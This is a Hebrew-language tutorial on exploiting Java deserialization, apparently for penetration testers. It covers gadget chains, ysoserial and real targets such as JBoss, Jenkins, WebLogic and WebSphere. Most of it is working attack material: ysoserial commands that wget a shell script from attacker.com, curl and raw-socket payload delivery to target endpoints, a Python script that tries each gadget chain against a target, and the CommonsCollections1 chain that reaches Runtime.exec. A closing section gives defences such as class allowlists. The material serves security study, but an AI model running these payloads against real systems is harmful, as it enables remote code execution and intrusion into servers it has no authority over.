דסריאליזציה מתקדמת - Java Deserialization¶
מבוא לסריאליזציה ב-Java¶
סריאליזציה ב-Java היא תהליך המרה של אובייקט Java לרצף של בתים, שניתן לשמור לקובץ או לשלוח ברשת. דסריאליזציה היא התהליך ההפוך - המרת רצף הבתים חזרה לאובייקט.
מבנה הפורמט¶
כל אובייקט Java מסורלז מתחיל עם Magic Bytes קבועים:
בייצוג Base64, המחרוזת מתחילה ב:
קוד בסיסי¶
import java.io.*;
// סריאליזציה
public class SerializeExample {
public static void main(String[] args) throws Exception {
// יצירת אובייקט
String data = "Hello World";
// כתיבה לקובץ
ObjectOutputStream oos = new ObjectOutputStream(
new FileOutputStream("data.ser")
);
oos.writeObject(data);
oos.close();
}
}
// דסריאליזציה
public class DeserializeExample {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(
new FileInputStream("data.ser")
);
// כאן קורה הקסם - האובייקט נבנה מחדש
String data = (String) ois.readObject();
System.out.println(data);
ois.close();
}
}
מדוע דסריאליזציה ב-Java מסוכנת¶
הבעיה המרכזית¶
כש-Java מבצעת דסריאליזציה, היא מפעילה קוד כחלק מתהליך בניית האובייקט. אם ב-classpath של האפליקציה קיימות ספריות מסוימות, ניתן לבנות שרשרת של אובייקטים (Gadget Chain) שגורמת להרצת קוד שרירותי.
שרשראות Gadget - Gadget Chains¶
שרשרת Gadget היא רצף של אובייקטים שכל אחד קורא למתודה של הבא בתור, עד שמגיעים להרצת פקודה:
Object A (readObject)
--> calls method on Object B
--> calls method on Object C
--> calls Runtime.exec("command")
הכלי ysoserial¶
הכלי ysoserial מייצר payloads מוכנים לניצול דסריאליזציה ב-Java:
# התקנה
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests
# או הורדה ישירה של ה-JAR
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
שרשראות נפוצות¶
# CommonsCollections1 - דורש Apache Commons Collections 3.1
java -jar ysoserial-all.jar CommonsCollections1 "id" > payload.ser
# CommonsCollections5 - דורש Apache Commons Collections 3.1
java -jar ysoserial-all.jar CommonsCollections5 "wget http://attacker.com/shell.sh" > payload.ser
# CommonsCollections6 - עובד עם Commons Collections 3.1-3.2.1
java -jar ysoserial-all.jar CommonsCollections6 "curl http://attacker.com" > payload.ser
# CommonsCollections7 - שרשרת נוספת ל-Commons Collections
java -jar ysoserial-all.jar CommonsCollections7 "ping -c1 attacker.com" > payload.ser
# CommonsBeanutils1 - דורש Commons Beanutils + Commons Collections
java -jar ysoserial-all.jar CommonsBeanutils1 "whoami" > payload.ser
# Spring1 - דורש Spring Framework
java -jar ysoserial-all.jar Spring1 "touch /tmp/pwned" > payload.ser
# JBossInterceptors - דורש JBoss
java -jar ysoserial-all.jar JBossInterceptors1 "id" > payload.ser
שליחה בקידוד Base64¶
# יצירת payload בקידוד Base64
java -jar ysoserial-all.jar CommonsCollections5 "id" | base64 -w 0
# שליחה ב-HTTP
curl -X POST http://target.com/api/deserialize \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @payload.ser
כיצד עובדת שרשרת CommonsCollections1¶
הרעיון¶
הספרייה Apache Commons Collections מכילה מחלקות שמאפשרות טרנספורמציה של אובייקטים. ניתן לשרשר אותן כך שיגרמו להרצת פקודה.
// השרשרת בפשטות:
// 1. InvokerTransformer - קורא למתודה על אובייקט
// 2. ChainedTransformer - משרשר מספר Transformers
// 3. ConstantTransformer - מחזיר ערך קבוע
// 4. LazyMap - מפעיל Transformer כשניגשים למפתח שלא קיים
// 5. TiedMapEntry - גורם לגישה ל-Map בזמן hashCode()
// 6. HashSet/HashMap - קורא ל-hashCode() בזמן readObject()
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
// בניית שרשרת ה-Transformers
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }
),
new InvokerTransformer(
"exec",
new Class[] { String.class },
new Object[] { "calc.exe" } // הפקודה שתורץ
)
};
Transformer chain = new ChainedTransformer(transformers);
זרימת ההרצה¶
readObject() [HashMap]
--> hashCode() [TiedMapEntry]
--> get() [LazyMap]
--> transform() [ChainedTransformer]
--> ConstantTransformer: returns Runtime.class
--> InvokerTransformer: Runtime.getMethod("getRuntime")
--> InvokerTransformer: method.invoke(null) = Runtime.getRuntime()
--> InvokerTransformer: runtime.exec("calc.exe")
זיהוי נקודות דסריאליזציה¶
סימנים ב-HTTP¶
# Content-Type headers
Content-Type: application/x-java-serialized-object
Content-Type: application/x-java-object
# Magic Bytes בבקשה (hex)
AC ED 00 05
# Base64 בפרמטרים
?data=rO0ABXNy...
?viewstate=rO0ABXNy...
# Cookies עם נתונים מסורלזים
Cookie: session=rO0ABXNy...
Cookie: JSESSIONID=...; userdata=rO0ABXNy...
סימנים בפרוטוקולים¶
# RMI - Remote Method Invocation (port 1099)
# JMX - Java Management Extensions (port 9010)
# T3/IIOP - WebLogic protocols (port 7001)
# Custom protocols over TCP
סריקה אוטומטית¶
# שימוש ב-Burp Extension - Java Deserialization Scanner
# או שימוש ב-ysoserial עם URLDNS payload לזיהוי
# URLDNS - לא מריץ קוד, רק שולח בקשת DNS
java -jar ysoserial-all.jar URLDNS "http://BURP-COLLABORATOR.burpcollaborator.net" > detect.ser
# אם מגיעה בקשת DNS ל-Collaborator - האפליקציה פגיעה
יעדים בעולם האמיתי¶
JBoss¶
# JBoss 4.x/5.x/6.x - נקודת כניסה ב-JMXInvokerServlet
curl http://target:8080/invoker/JMXInvokerServlet \
--data-binary @payload.ser
# JBoss - HttpInvoker
curl http://target:8080/invoker/readonly \
--data-binary @payload.ser
Jenkins¶
# Jenkins CLI (port 50000 או דרך HTTP)
# Jenkins < 2.154 / < 2.138.4
# שליחת payload דרך CLI protocol
python3 -c "
import socket
s = socket.socket()
s.connect(('target', 50000))
# Jenkins CLI protocol header
s.send(b'\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74')
with open('payload.ser', 'rb') as f:
s.send(f.read())
"
WebLogic¶
# WebLogic T3 Protocol (port 7001)
# CVE-2015-4852, CVE-2017-10271, CVE-2019-2725
# שימוש בכלי ייעודי
python3 weblogic_exploit.py -t target:7001 -p CommonsCollections1 -c "id"
# WebLogic IIOP
# CVE-2020-2551
WebSphere¶
# IBM WebSphere - SOAP connector (port 8880)
curl http://target:8880/ \
-H "Content-Type: text/xml" \
-d @soap_payload.xml
# ה-payload מוכנס בתוך SOAP envelope בקידוד Base64
זיהוי ספריות פגיעות ב-Classpath¶
כלי ysoserial URLDNS¶
# URLDNS payload לא דורש ספריות נוספות - עובד תמיד
# משמש לזיהוי שהאפליקציה מבצעת דסריאליזציה
java -jar ysoserial-all.jar URLDNS "http://detect.attacker.com" | base64
סריקה שיטתית¶
#!/usr/bin/env python3
"""
סקריפט לזיהוי שרשרת Gadget מתאימה
נוסה כל שרשרת ומחכה לתגובה ב-Collaborator
"""
import subprocess
import requests
import base64
import time
CHAINS = [
"CommonsCollections1",
"CommonsCollections2",
"CommonsCollections3",
"CommonsCollections4",
"CommonsCollections5",
"CommonsCollections6",
"CommonsCollections7",
"CommonsBeanutils1",
"Spring1",
"Spring2",
"Groovy1",
"JBossInterceptors1",
"Hibernate1",
"Hibernate2",
"MozillaRhino1",
"MozillaRhino2",
]
def generate_payload(chain, command):
result = subprocess.run(
["java", "-jar", "ysoserial-all.jar", chain, command],
capture_output=True
)
return result.stdout
def test_chain(target_url, chain, collaborator_id):
command = f"nslookup {chain}.{collaborator_id}.burpcollaborator.net"
payload = generate_payload(chain, command)
if not payload:
print(f"[-] {chain}: Failed to generate")
return
encoded = base64.b64encode(payload).decode()
try:
response = requests.post(
target_url,
data=payload,
headers={"Content-Type": "application/x-java-serialized-object"},
timeout=10
)
print(f"[*] {chain}: Sent (status={response.status_code})")
except Exception as e:
print(f"[-] {chain}: Error - {e}")
# שימוש
target = "http://target:8080/invoker/JMXInvokerServlet"
collab = "abc123"
for chain in CHAINS:
test_chain(target, chain, collab)
time.sleep(1)
print("\n[*] Check Burp Collaborator for DNS callbacks")
print("[*] The chain name will appear as subdomain")
בניית שרשרת Gadget מותאמת אישית¶
מתודולוגיה¶
- זהו את הספריות ב-classpath של היעד
- חפשו מחלקות עם
readObject()אוreadResolve()מותאמים - מפו את הקריאות שמתבצעות בזמן דסריאליזציה
- מצאו נתיב מ-readObject() ל-Runtime.exec() או דומה
כלים לניתוח¶
# GadgetInspector - סורק classpath ומוצא שרשראות חדשות
git clone https://github.com/JackOfMostTrades/gadgetinspector.git
cd gadgetinspector
mvn clean package
# הרצה על קובץ JAR/WAR
java -jar gadget-inspector.jar target-app.war
# Gadget Probe - בדיקה אילו ספריות קיימות ב-classpath
git clone https://github.com/BishopFox/GadgetProbe.git
דוגמה לשרשרת מותאמת¶
// נניח שמצאנו את המחלקות הבאות ב-classpath:
// מחלקה A - יש לה readObject() שקורא ל-compare()
public class VulnerableComparator implements Comparator, Serializable {
private Object delegate;
private void readObject(ObjectInputStream ois) throws Exception {
ois.defaultReadObject();
// קורא ל-compare על delegate
this.delegate.compare(this, this);
}
}
// מחלקה B - compare() שלה קורא ל-toString()
public class DangerousCompare implements Comparator, Serializable {
private Object target;
public int compare(Object a, Object b) {
return target.toString().compareTo(b.toString());
}
}
// מחלקה C - toString() שלה מריצה קוד
public class CommandRunner implements Serializable {
private String command;
public String toString() {
try {
Runtime.getRuntime().exec(command);
} catch (Exception e) {}
return command;
}
}
// השרשרת: readObject() -> compare() -> toString() -> exec()
הגנות¶
אל תבצעו דסריאליזציה של מידע לא מהימן¶
// הפתרון הטוב ביותר - השתמשו ב-JSON במקום
// Jackson, Gson, או org.json
import com.google.gson.Gson;
Gson gson = new Gson();
MyObject obj = gson.fromJson(jsonString, MyObject.class);
רשימת היתר למחלקות - Whitelist¶
// שימוש ב-ObjectInputFilter (Java 9+)
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filterInfo -> {
Class<?> clazz = filterInfo.serialClass();
if (clazz == null) return ObjectInputFilter.Status.UNDECIDED;
// רק מחלקות מותרות
Set<String> allowed = Set.of(
"com.myapp.dto.UserData",
"com.myapp.dto.OrderData"
);
if (allowed.contains(clazz.getName())) {
return ObjectInputFilter.Status.ALLOWED;
}
return ObjectInputFilter.Status.REJECTED;
});
Look-Ahead ObjectInputStream¶
// ספרייה שמאפשרת בדיקה לפני דסריאליזציה
// Apache Commons IO - ValidatingObjectInputStream
ValidatingObjectInputStream vois = new ValidatingObjectInputStream(inputStream);
vois.accept(UserData.class, OrderData.class);
vois.reject("org.apache.commons.collections.*");
Object obj = vois.readObject();
עדכון ספריות¶
<!-- וודאו שהספריות מעודכנות -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.4</version> <!-- גרסה מתוקנת -->
</dependency>
סיכום¶
| רכיב | פרטים |
|---|---|
| Magic Bytes | AC ED 00 05 (hex) / rO0AB (Base64) |
| כלי עיקרי | ysoserial |
| שרשראות נפוצות | CommonsCollections, CommonsBeanutils, Spring |
| יעדים נפוצים | JBoss, Jenkins, WebLogic, WebSphere |
| זיהוי | URLDNS payload + Burp Collaborator |
| הגנה מרכזית | אל תבצעו דסריאליזציה של מידע לא מהימן |
חולשות דסריאליזציה ב-Java נותנות RCE מיידי. זו אחת החולשות החמורות ביותר - וגם אחת הנפוצות ביותר באפליקציות ארגוניות.